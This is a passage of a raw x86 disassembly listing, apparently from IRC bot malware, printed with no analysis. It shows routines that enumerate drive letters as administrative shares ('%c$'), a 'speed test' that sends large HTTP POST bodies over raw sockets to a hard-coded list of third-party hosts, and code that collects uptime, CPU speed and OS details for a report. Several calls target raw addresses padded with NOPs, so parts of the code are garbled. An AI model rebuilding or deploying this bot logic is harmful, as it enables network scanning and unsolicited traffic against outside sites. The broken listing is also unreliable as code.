		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_41A2DF
; ---------------------------------------------------------------------------


loc_41A2C5:				; CODE XREF: sub_41A19E+E2j
		push	offset dword_43A3E0
		jmp	short loc_41A2D1
; ---------------------------------------------------------------------------


loc_41A2CC:				; CODE XREF: sub_41A19E+13j
		push	offset dword_43A1F8


loc_41A2D1:				; CODE XREF: sub_41A19E+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A2DF:				; CODE XREF: sub_41A19E+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FE
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A2FE:				; CODE XREF: sub_41A19E+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		cmp	dword_4CB74C, ebx
		pop	ecx
		jnz	loc_41A473
		push	edi
		mov	esi, offset off_43A0C0
		mov	edi, 200h


loc_41A322:				; CODE XREF: sub_41A19E+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BC0
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33D
		push	offset dword_43A3C0
		jmp	short loc_41A342
; ---------------------------------------------------------------------------


loc_41A33D:				; CODE XREF: sub_41A19E+196j
		push	offset dword_43A398


loc_41A342:				; CODE XREF: sub_41A19E+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A371
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A371:				; CODE XREF: sub_41A19E+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A0D0
		jb	short loc_41A322
		call	near ptr 2810CA3h
		nop
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45B


loc_41A39C:				; CODE XREF: sub_41A19E+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A450
		cmp	bl, 41h
		jz	loc_41A450
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CB6B4
		cmp	eax, 3
		jnz	short loc_41A450
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BC0
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40E
		push	offset dword_43A3C0
		jmp	short loc_41A413
; ---------------------------------------------------------------------------


loc_41A40E:				; CODE XREF: sub_41A19E+267j
		push	offset dword_43A398


loc_41A413:				; CODE XREF: sub_41A19E+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A443
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A443:				; CODE XREF: sub_41A19E+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_41A450:				; CODE XREF: sub_41A19E+206j
					; sub_41A19E+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39C


loc_41A45B:				; CODE XREF: sub_41A19E+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A368
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A486
; ---------------------------------------------------------------------------


loc_41A473:				; CODE XREF: sub_41A19E+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A100
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A486:				; CODE XREF: sub_41A19E+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A4
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A4A4:				; CODE XREF: sub_41A19E+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B8	proc near		; CODE XREF: sub_41A6AF+CBp
					; sub_41A6AF+DDp ...

arg_0		= dword	ptr  4

		call	near ptr 268083Ah
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D2	proc near		; CODE XREF: sub_41A6AF+D4p
					; sub_41A6AF+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AB
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAFA
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AB
		push	50h
		call	dword_4CB654
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CB6D4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AB
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AB
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_433F14 ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62B
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FB
; ---------------------------------------------------------------------------


loc_41A5F8:				; CODE XREF: sub_41A4D2+157j
		mov	eax, [ebp+arg_0]


loc_41A5FB:				; CODE XREF: sub_41A4D2+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60B
		push	[ebp+var_C]
		jmp	short loc_41A60C
; ---------------------------------------------------------------------------


loc_41A60B:				; CODE XREF: sub_41A4D2+132j
		push	ebx


loc_41A60C:				; CODE XREF: sub_41A4D2+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A692
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F8


loc_41A62B:				; CODE XREF: sub_41A4D2+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_42770C
		fst	[ebp+arg_0]
		fcomp	flt_427708
		fnstsw	ax
		sahf
		jnz	short loc_41A653
		fld1
		fstp	[ebp+arg_0]


loc_41A653:				; CODE XREF: sub_41A4D2+17Aj
		push	[ebp+var_4]
		call	dword_4CB6EC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_427704
		fmul	flt_427700
		call	sub_41C798


loc_41A68D:				; CODE XREF: sub_41A4D2+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A692:				; CODE XREF: sub_41A4D2+149j
		push	[ebp+var_4]
		call	dword_4CB6EC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx


loc_41A6AB:				; CODE XREF: sub_41A4D2+19j
					; sub_41A4D2+42j ...
		xor	eax, eax
		jmp	short loc_41A68D
sub_41A4D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AF	proc near		; CODE XREF: sub_401ACD+2E62p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B8
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D2
		push	8
		mov	esi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D2
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7B0
		test	eax, eax
		jz	short loc_41A7AC
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B2
; ---------------------------------------------------------------------------


loc_41A7AC:				; CODE XREF: sub_41A6AF+F4j
		mov	ebx, esi
		jmp	short loc_41A7B2
; ---------------------------------------------------------------------------


loc_41A7B0:				; CODE XREF: sub_41A6AF+F0j
		mov	ebx, eax


loc_41A7B2:				; CODE XREF: sub_41A6AF+FBj
					; sub_41A6AF+FFj
		push	0Ch
		call	sub_41A4B8
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D2
		push	0Ch
		mov	edi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D2
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7EA
		test	eax, eax
		jz	short loc_41A7E6
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EC
; ---------------------------------------------------------------------------


loc_41A7E6:				; CODE XREF: sub_41A6AF+12Ej
		mov	esi, edi
		jmp	short loc_41A7EC
; ---------------------------------------------------------------------------


loc_41A7EA:				; CODE XREF: sub_41A6AF+12Aj
		mov	esi, eax


loc_41A7EC:				; CODE XREF: sub_41A6AF+135j
					; sub_41A6AF+139j
		push	6
		call	sub_41A4B8
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D2
		push	6
		mov	edi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D2
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A824
		test	eax, eax
		jz	short loc_41A820
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A826
; ---------------------------------------------------------------------------


loc_41A820:				; CODE XREF: sub_41A6AF+168j
		mov	ecx, edi
		jmp	short loc_41A826
; ---------------------------------------------------------------------------


loc_41A824:				; CODE XREF: sub_41A6AF+164j
		mov	ecx, eax


loc_41A826:				; CODE XREF: sub_41A6AF+16Fj
					; sub_41A6AF+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A833
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A836
; ---------------------------------------------------------------------------


loc_41A833:				; CODE XREF: sub_41A6AF+17Bj
		push	2
		pop	edi


loc_41A836:				; CODE XREF: sub_41A6AF+182j
		test	esi, esi
		jz	short loc_41A83E
		add	eax, esi
		jmp	short loc_41A83F
; ---------------------------------------------------------------------------


loc_41A83E:				; CODE XREF: sub_41A6AF+189j
		dec	edi


loc_41A83F:				; CODE XREF: sub_41A6AF+18Dj
		test	ecx, ecx
		jz	short loc_41A847
		add	eax, ecx
		jmp	short loc_41A848
; ---------------------------------------------------------------------------


loc_41A847:				; CODE XREF: sub_41A6AF+192j
		dec	edi


loc_41A848:				; CODE XREF: sub_41A6AF+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A508
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88C	proc near		; CODE XREF: sub_401ACD+25A1p
					; sub_401ACD+2A11p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 268083Ah
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB920
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F5	proc near		; CODE XREF: sub_416F1B+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26C0580h
		test	eax, eax
		jz	short loc_41A988
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95E
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A946
		cmp	[ebp+var_84], 1
		jnz	short loc_41A939
		push	1
		pop	esi


loc_41A939:				; CODE XREF: sub_41A8F5+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A988
		push	1
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A946:				; CODE XREF: sub_41A8F5+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A953


loc_41A94F:				; CODE XREF: sub_41A8F5+78j
		push	2
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A953:				; CODE XREF: sub_41A8F5+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A988
		jmp	short loc_41A978
; ---------------------------------------------------------------------------


loc_41A95E:				; CODE XREF: sub_41A8F5+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A988
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94F
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97C


loc_41A978:				; CODE XREF: sub_41A8F5+67j
		push	3
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A97C:				; CODE XREF: sub_41A8F5+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A988
		push	7


loc_41A987:				; CODE XREF: sub_41A8F5+4Fj
					; sub_41A8F5+5Cj ...
		pop	esi


loc_41A988:				; CODE XREF: sub_41A8F5+25j
					; sub_41A8F5+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98D	proc near		; CODE XREF: sub_41AA43+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41A995:				; CODE XREF: sub_41A98D+2Fj
					; sub_41A98D+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 2660E9Fh
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A995
		jb	short loc_41A9C4
		cmp	ebx, esi
		ja	short loc_41A995


loc_41A9C4:				; CODE XREF: sub_41A98D+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA37
		jb	short loc_41A9E3
		cmp	esi, 50h
		jnb	short loc_41A9E8


loc_41A9E3:				; CODE XREF: sub_41A98D+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41A9E8:				; CODE XREF: sub_41A98D+54j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41A9F3
		cmp	esi, 47h
		jnb	short loc_41A9F8


loc_41A9F3:				; CODE XREF: sub_41A98D+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41A9F8:				; CODE XREF: sub_41A98D+64j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA03
		cmp	esi, 37h
		jnb	short loc_41AA08


loc_41AA03:				; CODE XREF: sub_41A98D+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AA08:				; CODE XREF: sub_41A98D+74j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA13
		cmp	esi, 26h
		jnb	short loc_41AA18


loc_41AA13:				; CODE XREF: sub_41A98D+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AA18:				; CODE XREF: sub_41A98D+84j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA23
		cmp	esi, 1Eh
		jnb	short loc_41AA28


loc_41AA23:				; CODE XREF: sub_41A98D+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AA28:				; CODE XREF: sub_41A98D+94j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA33
		cmp	esi, 0Ah
		jnb	short loc_41AA37


loc_41AA33:				; CODE XREF: sub_41A98D+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AA37:				; CODE XREF: sub_41A98D+4Dj
					; sub_41A98D+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA43	proc near		; CODE XREF: sub_401ACD+276Fp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D808
		mov	[ebp+var_CC], 94h
		call	near ptr 26C0580h
		nop
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AACA
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA6
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA90
		mov	[ebp+var_4], offset dword_431974


loc_41AA90:				; CODE XREF: sub_41AA43+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB45
		mov	[ebp+var_4], offset dword_431970
		jmp	short loc_41AB16
; ---------------------------------------------------------------------------


loc_41AAA6:				; CODE XREF: sub_41AA43+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB8
		mov	[ebp+var_4], offset dword_43196C
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAB8:				; CODE XREF: sub_41AA43+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB06
		mov	[ebp+var_4], offset dword_431968
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AACA:				; CODE XREF: sub_41AA43+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB06
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE4
		mov	[ebp+var_4], offset dword_431964
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAE4:				; CODE XREF: sub_41AA43+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF6
		mov	[ebp+var_4], offset dword_431960
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAF6:				; CODE XREF: sub_41AA43+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0D


loc_41AB06:				; CODE XREF: sub_41AA43+7Cj
					; sub_41AA43+8Ej
		mov	[ebp+var_4], offset dword_431958


loc_41AB0D:				; CODE XREF: sub_41AA43+73j
					; sub_41AA43+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB45


loc_41AB16:				; CODE XREF: sub_41AA43+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB45
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41AB45:				; CODE XREF: sub_41AA43+54j
					; sub_41AA43+D1j ...
		mov	ax, word_437F2C
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB534
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7E
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41AB7E:				; CODE XREF: sub_41AA43+12Cj
		push	[ebp+arg_4]
		call	sub_40AC10
		pop	ecx
		push	eax
		call	dword_4CB694
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB60C
		cmp	eax, ebx
		jz	short loc_41ABA7
		push	dword ptr [eax]
		jmp	short loc_41ABAC
; ---------------------------------------------------------------------------


loc_41ABA7:				; CODE XREF: sub_41AA43+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41ABAC:				; CODE XREF: sub_41AA43+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 26609FBh
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A7FC
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 27113DFh
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2820000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A33
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88C
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98D
		push	edx
		push	eax
		push	offset dword_43A720
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
